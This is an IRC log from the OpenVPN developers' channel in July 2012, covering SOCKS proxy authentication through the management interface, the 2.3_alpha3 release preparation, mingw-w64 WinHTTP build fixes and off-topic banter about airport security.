krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 255 seconds] 09:23 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 09:23 -!- mode/#openvpn-devel [+v krzee] by ChanServ 09:41 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has quit [Excess Flood] 10:03 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has joined #openvpn-devel 10:21 <@d12fk> gnaa, why oh why does the socks proxy code not query for credentials through mgmt itf 10:22 <@d12fk> i guess i have to go deeper =) 10:35 <+krzee> socks proxy code supports login now? 10:35 <+krzee> nice 10:35 <+krzee> i havnt used it in a long time 10:45 <@d12fk> since 2010 10:45 <@d12fk> only plain text though 10:46 <+krzee> oh 10:48 <+krzee> interesting that a socks server could take a plaintext login 10:48 <+krzee> a proxy makes sense, but a socks server… that seems odd to me 10:57 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has quit [Excess Flood] 11:06 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has joined #openvpn-devel 11:06 -!- raidz_afk is now known as raidz 13:15 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has quit [Excess Flood] 13:31 -!- Guest10238 [jstoker@unaffiliated/jstoker] has joined #openvpn-devel 13:43 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 255 seconds] 14:04 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 14:04 -!- mode/#openvpn-devel [+v krzee] by ChanServ 14:57 <@vpnHelper> RSS Update - testtrac: add option --management-query-proxy <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=af1bf85aee836f2b729c38990028c035b6c69152> || remove unused show_connection_list debug function <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=af417baa93f4ebcc545486cbd9635fbc602ba148> || don't treat socket related errors special any 14:59 <@dazo> mattock: ^^^ I'm getting ready to tag v2.3_alpha3 ... so if buildslaves behaves ... we're ready to ship this one ... however, I'd like to see if there are some more low-hanging fruits which we could squeeze in too 15:23 <@mattock> dazo: tomorrow or monday? 15:23 <@dazo> oh, I probably need to patch tap-windows 15:24 <@dazo> mattock: I'd say tagging can be done tomorrow, unless somebody screams out "pull my patch!" 15:24 <@mattock> ok 15:25 <@mattock> the release preparations probably take 2-3 hours with all the packaging and testing, so if it's tagged before lunch, a release could be done tomorrow 15:25 <@dazo> mattock: the patch you applied to win-tap ... that was the one in trac ticket #97? 15:25 <@mattock> yeah 15:25 <@mattock> manual copy-and-paste 15:26 <@dazo> ahh, I see ... okay, I'll get into that now and push out an updated tree 15:27 <@mattock> version 9.9.2 I guess 15:29 <@dazo> mattock: that's about all you did? http://www.fpaste.org/cZw3/ 15:31 <@mattock> uh, not sure about the ordering, I just did what the guy in #97 told he had done :) 15:32 <@dazo> the ordering shouldn't change anything ... it's all bool AND, so that's just to make it more readable 15:32 <@mattock> ah yes, getting too tired 15:32 <@dazo> okay, I'll commit, tag and push 15:35 <@dazo> mattock: do you have an e-mail address for ert? 15:35 <@dazo> (for the commit log) 15:36 <@mattock> just a sec 16:01 <@dazo> okay ... tap-windows git trees cleaned up on github ... pushed out a tagged v9.9.2 tree 16:03 <@dazo> unless somebody knows about some patches we /really must have/ in 2.3_alpha3 by tomorrow lunch time ... I'll tag 2.3_alpha3 and prepare source tarballs 16:46 -!- dazo is now known as dazo_afk 20:27 -!- raidz is now known as raidz_afk --- Day changed Fri Jul 20 2012 01:25 <@d12fk> sock proxy pasword queries through mgmt itf hang low 02:15 -!- dazo_afk is now known as dazo 03:01 <@dazo> d12fk: I applied 4 of your patches yesterday ... where any of them there? 03:02 <@d12fk> dazo: what do you mean? dont get it 03:03 <@dazo> <d12fk> [08:25:59] sock proxy pasword queries through mgmt itf hang low 03:03 <@d12fk> i'll submit that patch today 03:04 <@dazo> d12fk: any chance you'll manage it within a few hours? 03:05 <@d12fk> yes 03:05 <@dazo> goodie! Then I'll hold off the tagging and we'll try to squeeze it into alpha3 03:44 <@d12fk> yeah 03:45 <@d12fk> Fri Jul 20 09:43:19 2012 MANAGEMENT: CMD 'proxy SOCKS 10.8.16.192 1080' 03:45 <@d12fk> Fri Jul 20 09:43:25 2012 MANAGEMENT: CMD 'username "SOCKS Proxy" "admin"' 03:45 <@d12fk> Fri Jul 20 09:43:25 2012 MANAGEMENT: CMD 'password [...]' 03:45 <@d12fk> works. too bad nobody cares for socks anymore =) 03:46 <@d12fk> well maybe the ovpn over udp folks do... 03:46 <+krzee> i run socks =] 03:46 <@d12fk> GSSAPI support would def be something nice as the passwords currently go over the net in plaintext 03:47 <+krzee> but ya, no plaintext login 03:47 <+krzee> (on mine) 03:47 <@d12fk> so you dont do auth 03:47 <+krzee> i dont do openvpn over socks 03:47 <@d12fk> hehe, pint for me 03:47 <+krzee> i have 1 sockd with auth and 1 without 03:48 <+krzee> the one without is listening on tun device 03:48 <@d12fk> ah you use it as relay 03:48 <+krzee> yep 03:48 <+krzee> !routebyapp 03:48 <@vpnHelper> "routebyapp" is if you want to send only certain apps over the VPN you need to run a socks server on the internal VPN subnet (see !sockd) then get an app like proxifier (google it) to selectively route traffic over the socks proxy based on port/app/subnet or any combination. 03:48 <+krzee> that ^ 03:49 <@d12fk> strange always thought that packetfilters are there for that 03:50 <+krzee> for example, in osx my safari goes out my isp, opera goes out my vpn 03:50 <+krzee> default is out the vpn 03:50 <+krzee> torrents go out the isp 03:52 <@d12fk> is there no policy routing in osx? (i probably miss the general point about this...) 03:52 <+krzee> policy routing as in a routing table based on apps? 03:53 <@d12fk> ah you're talking apps as in proto/port, but binaries that opened the socket 03:53 <+krzee> aye 03:53 <@d12fk> old man got it 03:54 <+krzee> im guessing policy routing and source routing are about the same? 03:54 <@d12fk> what' that sockifier for osx called 03:54 <+krzee> defining other tables and marking packets for them 03:55 <+krzee> i use proxifier 03:55 <+krzee> it costed small a couple years ago, but i like it a lot 03:55 <@d12fk> k 03:57 <+krzee> oooo 03:57 <+krzee> im glad i talked about proxifier 03:57 <+krzee> new features! 03:57 <+krzee> The new version allows you to assign different proxies/chains for different rules Profile->Proxification Rules... Thus each rule has an individual action that tells Proxifier to process the connections through a proxy or chain, to block the connection or to open it directly. 03:57 <+krzee> i requested that! 03:59 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Remote host closed the connection] 04:25 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 04:26 -!- mode/#openvpn-devel [+v krzee] by ChanServ 04:26 <+krzee> the new version is nice 04:30 <+krzee> [07.20 05:28:10] Skype - www.facebook.com:443 close, 1523 bytes (1.48 KB) sent, 2663 bytes (2.60 KB) received, lifetime 00:55 04:30 <+krzee> that is an interesting connection made when i open skype 04:32 <@dazo> doesn't microsoft have an co-operation agreement with facebook? And skype is owned by microsoft nowadays .... 04:32 <+krzee> nothing i knew of, but that means nothing 04:45 <@d12fk> http://techcrunch.com/2011/07/06/facebook-launches-skype-powered-video-calling/ 04:45 <@vpnHelper> Title: Facebook Launches Skype-Powered Video Calling | TechCrunch (at techcrunch.com) 04:45 <@d12fk> dazo: patch finished 04:46 <@dazo> d12fk: neat! waiting for an e-mail .... and I hope cron2 can help doing a quick review as well 04:47 <@d12fk> it's an easy one 04:47 <@d12fk> mattock: when will you pull the gui for 2.3a3 06:03 <@mattock> whenever it's ready (if there are changes since 2.3-alph2) 06:05 <@d12fk> yeah i just pushed a bunch for the proxy changes in alpha3 06:06 <@d12fk> though no explicitly fancy versioning of the gui, yet 06:07 <@mattock> I think I forced an arbitrary versioning (1.0.4 I think) for the last GUI 06:08 <@d12fk> you could then call it 1.0.5 for now, the next version i'll assign will be 2 and i'll just increment releases after that 06:08 <@mattock> yeah, I'll do that 06:23 <@mattock> ok, let's see about the release, then 06:48 <@mattock> building tap-windows 06:54 <@dazo> mattock: I'm trying to squeeze in a review of d12fk's latest patch now 06:54 <@dazo> for openvpn 06:54 <@mattock> ok 06:54 <@mattock> pushing tap-windows to build and swupdate 06:54 <@mattock> I'll also make a GitHub release 06:55 <@dazo> goodie! 06:56 <@mattock> d12fk: is GUI ready to be pulled? 06:57 <@d12fk> mattock: yes 06:57 <@mattock> nice! 06:57 <@mattock> then I can very soon put my cross-compile VM to work 07:06 <@dazo> hmmm .... seems reiffert on #openvpn is willing to dig into socket.c together with Arne as well .... 07:08 <@dazo> d12fk: what happens to the authfile feature with your socks passwd patch? 07:13 <@mattock> tap-windows and openvpn-gui ready for release, waiting for tagged 2.3_alpha3 and tarballs :) 07:20 <@dazo> I need more time to look at d12fk patch, I need to understand it better ... but I also need to get ready to leave in about 10 minutes 07:20 <@dazo> so I'll tag what we have, and this patch will need to go into the next release 07:30 <@mattock> ok, sounds good 07:31 <@mattock> here's a suggested announcement: http://pastebin.com/WQy2N2Qu 07:32 <@mattock> let me know if there are any issues with it and I'll fix it 07:32 <@dazo> mattock: sounds good ... git tree pushed, and the changelog info is there 07:32 <@dazo> git show v2.3_alpha3 07:32 <@mattock> yep 07:32 <@mattock> shall I create the tarballs? 07:33 <@dazo> mattock: look at PM 07:33 <@dazo> all is ready for you 07:33 <@mattock> ah, empathy does not notify me about the PMs 07:33 <@mattock> annoying 07:33 <@mattock> thanks! 07:33 <@dazo> you're welcome .... okay, going off-grid for a couple of days now 07:34 <@dazo> I'll check mail from time to time, if there are something which needs quickly attention 07:34 <@vpnHelper> RSS Update - testtrac: Preparing for OpenVPN 2.3_alpha3 <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=6dcb1265c601b53d2bb221f5087ef5ad2626f94b> 07:36 -!- dazo is now known as dazo_afk 07:39 <@d12fk> hm too late 07:40 <@mattock> building for windows now 07:50 <@mattock> building deb/rpm 08:21 <@mattock> d12fk: building openvpn-gui fails: http://pastebin.com/pe0pQSzg 08:24 <@mattock> besides the windows installer and some light testing, we're set 08:33 <@d12fk> your mingw version is too old 08:34 <@d12fk> what do you use to build? 08:34 <@mattock> again? 08:34 <@mattock> ubuntu 12.04 08:34 <@d12fk> uh i think they are pretty much behind when it comes to mingw 08:35 <@mattock> mingw-w64 2.0.1 08:37 <@d12fk> cygwin has 3.0b+svn 08:37 <@d12fk> that's probably why 08:37 <@mattock> which version do I need? 08:37 <@d12fk> bleeding edge 08:37 <@mattock> I won't have time to update it today, so the release gets postponed until Monday (too busy in the weekend) 08:38 <@d12fk> or i build it for you 08:38 <@d12fk> would just need you openssl stuff 08:38 <@mattock> well, I got stuff to do in 25 mins and the poor VM builds openvpn + dependencies for 25 mins, so it gets postponed anyways :| 08:38 <@d12fk> ok 08:39 <@mattock> I'll upgrade mingw_w64 next monday and see what happens 08:39 <@mattock> I hope the upgrade does not break the non-GUI stuff which is now working perfectly 08:39 <@d12fk> libwinhttp will be missing as they forgot to update Makefile.am when adding it 08:39 <@mattock> ah, ok 08:40 <@d12fk> should be in cygwin next month 08:40 <@d12fk> but you can easily build it yourself 08:40 <@d12fk> just a one liner 08:40 <@d12fk> and you have to ignore the ‘GlobalFree’ discards ‘const’ warnings 08:41 <@d12fk> also faulty headers 08:41 <@d12fk> had to contribute back to wine so that their chenges end up im mingw =) 08:41 <@d12fk> small world 08:41 <@mattock> yep :) 08:43 <@mattock> if nothing else good comes out of this mingw-w64 upgrade, at least I can start using my laptop for building the windows installers... much snappier than 08:43 <@mattock> the crappy vm I use now :P 10:56 -!- raidz_afk is now known as raidz 12:04 -!- Guest10238 is now known as EvilJStoker 12:43 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 12:54 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 12:54 -!- mode/#openvpn-devel [+v krzee] by ChanServ 16:02 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has quit [Excess Flood] 16:04 -!- EvilJStoker [~jstoker@unaffiliated/jstoker] has joined #openvpn-devel 18:16 * plaisthos has to go to bed 18:18 <+krzee> dont do it! he'll get you! 18:35 -!- raidz is now known as raidz_afk 23:22 -!- variable [root@freebsd/developer/variable] has quit [Ping timeout: 248 seconds] --- Day changed Sat Jul 21 2012 00:02 -!- variable [root@freebsd/developer/variable] has joined #openvpn-devel 02:21 -!- variable [root@freebsd/developer/variable] has quit [Excess Flood] 02:23 -!- variable [root@freebsd/developer/variable] has joined #openvpn-devel 07:21 < plaisthos> i am going crazy 07:21 < plaisthos> is there an editor or something that is able to apply the openvpn indenting rules? 07:40 < plaisthos> nevermind openvpn is not formatted consistently 08:39 -!- variable [root@freebsd/developer/variable] has left #openvpn-devel ["Overflow in /dev/null"] 09:35 -!- smartype [~smartype@184.82.244.25] has joined #openvpn-devel 09:37 < smartype> I am going to create an openvpn client for ios devices. 09:37 < smartype> It it based on the hack to Cisco Anyconnect VPN client. 09:38 < smartype> Do not know if Apple will accept it. 09:39 -!- smartype [~smartype@184.82.244.25] has quit [Client Quit] 09:39 -!- smartype [~smartype@184.82.244.25] has joined #openvpn-devel 09:40 -!- smartype [~smartype@184.82.244.25] has quit [Client Quit] 09:41 -!- smartype [~smartype@184.82.244.25] has joined #openvpn-devel 09:43 < plaisthos> smartype: good luck 09:43 < plaisthos> what hack does the cisco client use? 09:43 < smartype> A private iOS VPN interface 09:44 < smartype> You provide a bundle, the vpnagent process will load it to provide system wide VPN 09:46 < plaisthos> ah okay 09:46 < plaisthos> sounds vagely familiar :) 09:46 < plaisthos> Android does something similar 09:48 < smartype> I guess android has a public API for this, right? 09:49 < plaisthos> yes 09:52 < smartype> iOS provides tun interfaces only, no tap interfaces provided for AppStore apps. 09:53 < plaisthos> same for android :) 09:53 < plaisthos> only tun too 09:53 < plaisthos> but I thought GPL'ed apps are not compatible with the app store licensing 09:54 < plaisthos> at least there was something about VLC, GPL and the app store 09:58 < smartype> That's bad. :-( 10:21 -!- smartype [~smartype@184.82.244.25] has quit [Remote host closed the connection] 11:11 < plaisthos> yeah is a gray zone appearently 11:13 < plaisthos> only wanted to give a heads up :) 12:51 <@cron2> plaisthos: I see you're having fun again :) 15:35 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 16:16 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 16:16 -!- mode/#openvpn-devel [+v krzee] by ChanServ 20:06 -!- smartype [~smartype@184.82.244.25] has joined #openvpn-devel 20:12 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 255 seconds] 20:24 -!- smartype [~smartype@184.82.244.25] has quit [Ping timeout: 260 seconds] 20:37 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 20:37 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Sun Jul 22 2012 00:34 -!- Netsplit *.net <-> *.split quits: +krzee, EvilJStoker, @dazo_afk, ender|, plaisthos, @andj, @cron2, @raidz_afk, waldner, @vpnHelper, (+1 more, use /NETSPLIT to show all of them) 00:40 -!- Netsplit over, joins: EvilJStoker, @vpnHelper, ender| 00:40 -!- Netsplit *.net <-> *.split quits: EvilJStoker, ender|, @vpnHelper 00:40 -!- Netsplit over, joins: EvilJStoker, ender|, @vpnHelper 00:41 -!- Netsplit over, joins: @raidz_afk 00:41 -!- Netsplit over, joins: +krzee 00:41 -!- Netsplit over, joins: @mattock_, @dazo_afk, waldner, @cron2 00:42 -!- Netsplit over, joins: plaisthos, @andj 05:33 < plaisthos> yeah, I hope I get the first batch of cleanup patches for the socket stuff done today 05:45 <@cron2> wow 06:11 < plaisthos> not much 06:11 < plaisthos> but I found out today that local binding is only done for ipv4 06:11 < plaisthos> not for ipv6 06:12 < plaisthos> %/ 06:23 <@cron2> that's all part of socket.c, isn't it? 06:24 < plaisthos> yeah 06:30 < plaisthos> socket.c code is like a hydra 06:31 < plaisthos> fix you want to fix one issue, you discover two new issues you have to fix in order to fix the original one 06:47 < plaisthos> For example I don't understand what the semantic of proto_is_net should be ... 07:03 <@cron2> looks like "everything that goes to the network is <1>, and proto-uninitialized is 0... 07:04 < plaisthos> yeah 07:04 < plaisthos> but why?! 07:04 <@cron2> it's called in one place only, and that's in the option sanity check 07:05 <@cron2> this looks like "do not execute the sanity check for the loopback-null ssl tests, because it would always error-out" 07:05 < plaisthos> oh okay 07:05 <@cron2> ("make check" runs some tests over loopback) 07:05 <@cron2> or maybe not really "loopback", but whatever comes out of --dev null 07:06 < plaisthos> because you can connect with PROTO_NONE too ... 07:06 < plaisthos> it defaults to udp guesses if you want ipv4 or ipv6 07:07 <@cron2> out with it 07:10 < plaisthos> :) 07:20 < plaisthos> anyone knows what the type of AF_INET, AF_INET6 is? 07:21 < plaisthos> looking through the source and headers it is everything from uint8 to unsigned short to int 07:26 < plaisthos> I will stick to sa_family_t and add a define if a platform does not have this type 07:37 <@cron2> sounds reasonable to me (I'd expect this to be a 8-bit-type, as there are not that many different socket AF_ versions :) ) 07:42 < plaisthos> no 07:42 < plaisthos> uint8 on mac os x, freebsd, unsigned short on linux, short on windows 07:48 < plaisthos> linux uses af family for bluetooth sockets and so on 07:54 < plaisthos> return c->c2.link_socket_info; 07:54 < plaisthos> else 07:54 < plaisthos> return &c->c2.link_socket->info; 07:54 < plaisthos> I had to look twice to spot the difference 09:08 * plaisthos just wanted to test his patch on a ubuntu 12.04 and I am running into problem with the build system 09:17 -!- raidz_afk [~raidz@openvpn/corp/admin/andrew] has quit [Ping timeout: 252 seconds] 12:07 * cron2 is not commenting on the build system 13:14 < plaisthos> I found the bug 13:14 < plaisthos> I do an autoreconf on mac os x 13:14 < plaisthos> and copy that to my unbuntu box it does not work 13:14 < plaisthos> for whatever reason 13:14 <@cron2> the autoconf stuff on osx is a bit strange 13:15 <@cron2> doing the other way (autoreconf -if on linux and copy elsewhere) is usually ok 13:15 <@cron2> don't forget the "-f" after changes to one of the autoconf inputs, otherwise it won't rebuild all of it 13:16 * cron2 got bitten by that after a "git fetch" that changed build system stuff 15:35 -!- smartype [~smartype@124.160.216.135] has joined #openvpn-devel 15:48 -!- smartype [~smartype@124.160.216.135] has quit [Ping timeout: 248 seconds] 15:51 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 255 seconds] 17:05 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 17:05 -!- mode/#openvpn-devel [+v krzee] by ChanServ 19:13 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 255 seconds] 19:30 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 19:30 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Mon Jul 23 2012 02:35 -!- dazo_afk is now known as dazo 04:42 <@mattock> I think I'll patch openvpn-build/generic/build so that it can use a pre-compiled openvpn-gui.exe 04:42 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 255 seconds] 04:43 <@mattock> mingw-w64 install is fairly intensive and I wouldn't want Joe Random to have to go through it unless absolutely 04:43 <@mattock> necessary... the mingw-w64 2.0.1 in Ubuntu 12.04 seemed to work fine except for the openvpn-gui part 04:48 <@d12fk> that's just a matter of them picking up v3 04:59 <@mattock> yes, the picking up part is fairly intensive 05:00 <@mattock> not sure if the gcc build stuff could be skipped, though 05:00 <@mattock> but the whole process from scratch at least 05:08 <@mattock> d12fk: or are you speaking of Cygwin v3? 05:10 <@d12fk> mattock: no mingw 05:11 <@mattock> ah, ok, it's in trunk and they've created no tags 05:12 <@mattock> I got some invalid version problems at the last step ("install rest of gcc") with mingw-w64 2.0.4 which I used for preliminary 05:12 <@mattock> testing 05:13 <@mattock> probably messed up --host or --build or something 05:13 <@mattock> will retry after lunch 05:13 <@d12fk> you just need up-to-date headers and lib really, the comiler version shouldnt matter 05:17 <@d12fk> in debian these are mingw-w64 and mingw-w64-dev 05:23 <@d12fk> could be enough if you patch around in the right places even 05:26 <@d12fk> you just need to get winhttp.h up-to-date 05:26 <@d12fk> and add the import lib for winhttp.a 09:39 <@mattock> hmm, got to try upgrading just mingw-w64 tomorrow and using gcc and binutils from packages... 12:58 -!- dazo is now known as dazo_afk 21:07 -!- cron2 [~gert@openvpn/community/developer/cron2] has quit [Read error: Connection reset by peer] 21:40 * ecrist finally gets around to setting up build images 22:10 <@ecrist> anyone around that's familiar with building latest openvpn? 22:10 <@ecrist> my tagscript is complaining about no aclocal file 22:10 <@ecrist> Can't exec "aclocal": No such file or directory at /usr/local/share/autoconf-2.69/Autom4te/FileUtils.pm line 326. 22:10 <@ecrist> autoreconf-2.69: failed to run aclocal: No such file or directory 22:56 <@ecrist> also, if anyone's around, can you see if connections to ftp.secure-computing.net on both v6 and v4 addresses are working? --- Day changed Tue Jul 24 2012 01:40 <@mattock> d12fk: would you mind building me an openvpn-gui with version number 1.0.5? 01:41 <@mattock> just in case the mingw-w64 upgrade takes more time than it ought to 01:41 <@mattock> I'll patch openvpn-build/generic/build so that it can use a pre-built GUI and then get back to mingw-w64 upgrade 02:25 <@d12fk> mattock: sure, could you provide the openssl you are build against? 02:25 <@mattock> oh shit, forgot about that :) 02:25 <@mattock> I mean signing 02:25 <@d12fk> i could also help to get you strted with mingw instead 02:25 <@mattock> yeah, that might be best 02:26 <@mattock> yesterday I tried to build the whole cross-compile stack (gcc, binutils, mingw), but that didn't go too well 02:26 <@mattock> almost there, but it's so slow to build that crap that it takes time 02:26 <@d12fk> so, you need ubuntu mingw .debs 02:26 <@d12fk> could roll them for you 02:26 <@d12fk> will take me a while though 02:27 <@d12fk> other things to do frst 02:27 <@mattock> debs for mingw 3.0b? 02:27 <@d12fk> i would just take the existing ones and add proper winhttp to them 02:27 <@mattock> ok, that sounds good 02:28 <@mattock> the mingw in ubuntu 12.04 is working fine besides that 02:29 <@mattock> d12fk: can I use the binary debs or do we need to add patches to the source debs? 02:29 <@mattock> I guess you mean this: http://permalink.gmane.org/gmane.network.openvpn.devel/4987 02:29 <@vpnHelper> Title: [PATCH] add MinGW WinHTTP compatibility import library (at permalink.gmane.org) 02:29 <@mattock> in which case source debs 02:31 <@d12fk> what arch are you on 02:31 <@mattock> amd64 02:32 <@mattock> if you have pre-built packages available, I'd love to have them 02:33 <@mattock> I can build the (patched) packages from source, but the VM is a bit slow so it'll take time 02:33 <@d12fk> luckily mingw-w64-dev is arch all 02:34 <@d12fk> can you comfirm you have mingw-w64-dev_2.0.1-1_all.deb 02:34 <@mattock> yes 02:34 <@d12fk> ok i'll have something ready today 02:34 <@mattock> nice! 02:43 <@mattock> d12fk: I'll try rebuilding the mingw-w64 package with the winhttp patch applied manually, done that for some other packages in the past 02:43 <@mattock> apt-src and all that, should not be a biggie 02:44 < plaisthos> *faceplam* 02:44 < plaisthos> I get a message saying tap not supported when I try to import the profile. 02:44 < plaisthos> I modify the dev and dev-type lines from tap to tun 02:47 <@d12fk> mattock: that patch was for ovpn. it won't apply 02:47 <@mattock> d12fk: yeah, noticed 02:47 <@mattock> can you send me the correct patch? 02:48 <@d12fk> i don't have it. you need to go to the mingw repo and fetch the latest winhttp.h and winhttp.def and wire it into the .deb 02:48 <@mattock> ok, I got it checked out already 02:48 <@d12fk> building a libwinhttp.a with dlltool on the way 02:49 <@mattock> any link describing how to do the dlltool thing? 02:50 <@d12fk> it sould be done for all the other .def s in the buildsystem already, just patch winhttp in there 02:50 <@mattock> ok 02:52 -!- plaisthos [~arne@kamera.blinkt.de] has quit [Remote host closed the connection] 02:58 -!- cron2 [~gert@openvpn/community/developer/cron2] has joined #openvpn-devel 02:58 -!- mode/#openvpn-devel [+o cron2] by ChanServ 03:01 <@mattock> d12fk: do these patches look fine to you: http://build.openvpn.net/downloads/temp/ 03:01 <@vpnHelper> Title: Index of /downloads/temp (at build.openvpn.net) 03:03 <@d12fk> expected more diff in winhttp.h, but seems fine 03:05 <@mattock> ok, I'll try rebuilding the mingw packages with those applied 03:21 <@mattock> packages built fine, testing 03:22 <@d12fk> you prbly need to patch a Makefile so the winhttp lib is built as well 03:24 <@mattock> mingw makefile? 03:38 <@mattock> mingw-w64-crt/Makefile.am I presume 03:55 <@d12fk> that i don't know, havnt looked at it 03:56 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 03:56 -!- mode/#openvpn-devel [+v krzee] by ChanServ 04:07 <@mattock> that file seemed to be missing libwinhttp, so I guess that was the one 04:07 <@mattock> and trunk version had it 04:08 <@mattock> building openvpn with latest (i.e. last Friday's) GUI now 04:08 <@mattock> we'll see if it works 04:08 <@mattock> added some notes here: https://community.openvpn.net/openvpn/wiki/InstallingMingwW64 04:08 <@vpnHelper> Title: InstallingMingwW64 – OpenVPN Community (at community.openvpn.net) 04:08 <@mattock> if the patches do the trick, I'll add them to the page 04:08 <@mattock> and also put the debian packages to build.openvpn.net 04:09 -!- dazo_afk is now known as dazo 04:10 <@mattock> and also put the debian packages to build.openvpn.net 04:10 <@mattock> oopsi :D 04:13 <+krzee> in panama i bought a water, right next to the gate, before my flight to LA california 04:13 <+krzee> then there was another security checkpoint AT the gate, and the took the water 04:14 <+krzee> all i could think of was: 04:14 <+krzee> http://xkcd.com/651/ 04:14 <@vpnHelper> Title: xkcd: Bag Check (at xkcd.com) 04:14 <+krzee> but i held myself back 04:22 <@d12fk> TSA et al. are professional morons. no way to argue with them 04:22 <@d12fk> but helpful if you're into anal fisting =) 04:28 <@mattock> uh, mingw-w64 still missing some part: /usr/bin/i686-w64-mingw32-ld: cannot find -lwinhttp 04:31 <@d12fk> do you have /usr/i686-w64-mingw32/lib/libwinhttp.a 04:35 <@cron2> krzee: now this is complete craziness... 04:36 <@cron2> mattock: do you have the URL for 2.3_alpha2 windows installer available? 04:36 * cron2 can't find it 04:36 <@cron2> ah 04:36 <@cron2> forget it, found it :-) - thanks 04:36 <+krzee> i would like to know what they think i could do with an empty water bottle that i bought next to the gate at the hotdog stand, just in case some day i end up with my back against the wall and nothing but a bottle of water 04:37 <@mattock> cron2: ok :) 04:37 <@mattock> it seems my Makefile.am patch did not work as intended for some reason 04:39 <@cron2> krzee: magically turn it into explosive! 04:39 <@d12fk> mattock: i686-w64-mingw32-dlltool -k -d winhttp_i686.def -l /usr/i686-w64-mingw32/lib/libwinhttp.a 04:40 <@d12fk> to get you going 04:41 <@d12fk> same with the x86_64 binutil and .def 04:51 <@dazo> krzee: I've been tempted to bring 5x100ml bottles with me ... and a 500ml bottle ... and if they stop me, I would insist on poring that over to the *allowed* 100ml bottles ... and they can keep the big bottle 04:52 <+krzee> lol 04:52 <@dazo> and the best part ... you're allowed to bring up to 10x100ml bottles .... 04:52 <+krzee> expert level trolling 04:52 <@dazo> hehe 04:53 <+krzee> hah, so you could take a litre bottle 04:53 <+krzee> and 10x100 04:54 <@dazo> yeah ... but 0.5l is more common in the kiosks around here 04:54 <+krzee> ahh 04:55 <@mattock> d12fk: ok, thanks, I'll try that after lunch! 04:56 <@mattock> don't mock airport security, it's nearly air-tight to protect us from the terrorists... only ~3500 people manage to get past the security 04:56 <@mattock> _by mistake_ each year... worldwide I think 04:57 <@mattock> it is very important that water or any other liquid is in small bottles instead of one larger one... a terrorist could use a large bottle as 04:57 <@mattock> club to threaten the pilot or co-passengers 04:57 <@mattock> :P 04:57 <@d12fk> we need more secure trains or the bombing will nevar stop 04:57 <@mattock> damn linefeeds 04:58 <@d12fk> clubbed to death by a liter of water... damn metric system.... 04:59 <@dazo> mattock: Bruce Schneier have written some blog posts about A/P security ... 04:59 <@dazo> ahh ... here it is! http://www.schneier.com/essay-292.html 04:59 <@vpnHelper> Title: Beyond Security Theater (at www.schneier.com) 05:01 <@mattock> d12fk: consider what would happen with the U.S. system: clubbed to death with a one-gallon water bottle (3,7 liters) 05:01 <@mattock> one strike and you're history :P 05:01 <@d12fk> lol 05:04 <@dazo> here's even a better one ... http://www.schneier.com/essay-330.html 05:04 <@vpnHelper> Title: A Waste of Money and Time (at www.schneier.com) 05:09 <@dazo> "Exactly two things have made airplane travel safer since 9/11: reinforcing the cockpit door, and convincing passengers they need to fight back. Everything else has been a waste of money." 05:09 * dazo so much agrees 05:16 <@cron2> +1 05:23 <@d12fk> in reaction to the aurora shooting the banned batman costumes, so much for effective countermeasures, there are non without giving up your own freedom 05:23 <@cron2> what, they have banned batman costumers now? 05:23 <@d12fk> from the shows 05:23 <@cron2> so if I costume myself as Superman to attend the next shooting session, it's ok? 05:24 <@cron2> typical american knee-jerk reaction 05:25 <@dazo> There's just two words for that: Security Theatre 05:25 <@cron2> yeah, one of Schneier's favourite terms :) 05:25 <@d12fk> http://www.examiner.com/article/batman-costumes-banned-theaters-stop-movie-tradition-after-colorado-shooting 05:25 <@vpnHelper> Title: Batman costumes banned? Theaters stop movie tradition after Colorado shooting - National Celebrity Headlines | Examiner.com (at www.examiner.com) 05:25 <@dazo> absolutely :) 05:26 * dazo wonders ... would they ban jeans if the next one wears jeans? 05:26 <@dazo> Or maybe just cut the crap and make it easy! Show up naked! 05:27 <@d12fk> still the risk of a handgun 05:28 <@dazo> d12fk: but then it's not so easy to hide it ... unless it's a little gun and you got a big a-hole ...... 05:28 <@d12fk> it just a matter of fanaticism 05:29 <@dazo> yeah 05:29 <@d12fk> pulp fiction comes to mind 05:29 <@d12fk> http://www.youtube.com/watch?v=YFtHjV4c4uw 05:29 <@vpnHelper> Title: The Gold Watch - Pulp Fiction (7/12) Movie CLIP (1994) HD - YouTube (at www.youtube.com) 05:32 <@dazo> heh 06:56 <@ecrist> dazo: any idea why I'm getting this error when I try to run autoreconf: 06:56 <@ecrist> Can't exec "aclocal": No such file or directory at /usr/local/share/autoconf-2.69/Autom4te/FileUtils.pm line 326. 06:56 <@ecrist> autoreconf-2.69: failed to run aclocal: No such file or directory 06:57 <@dazo> ecrist: which platform? 06:57 <@dazo> FreeBSD? 06:57 <@ecrist> yeah 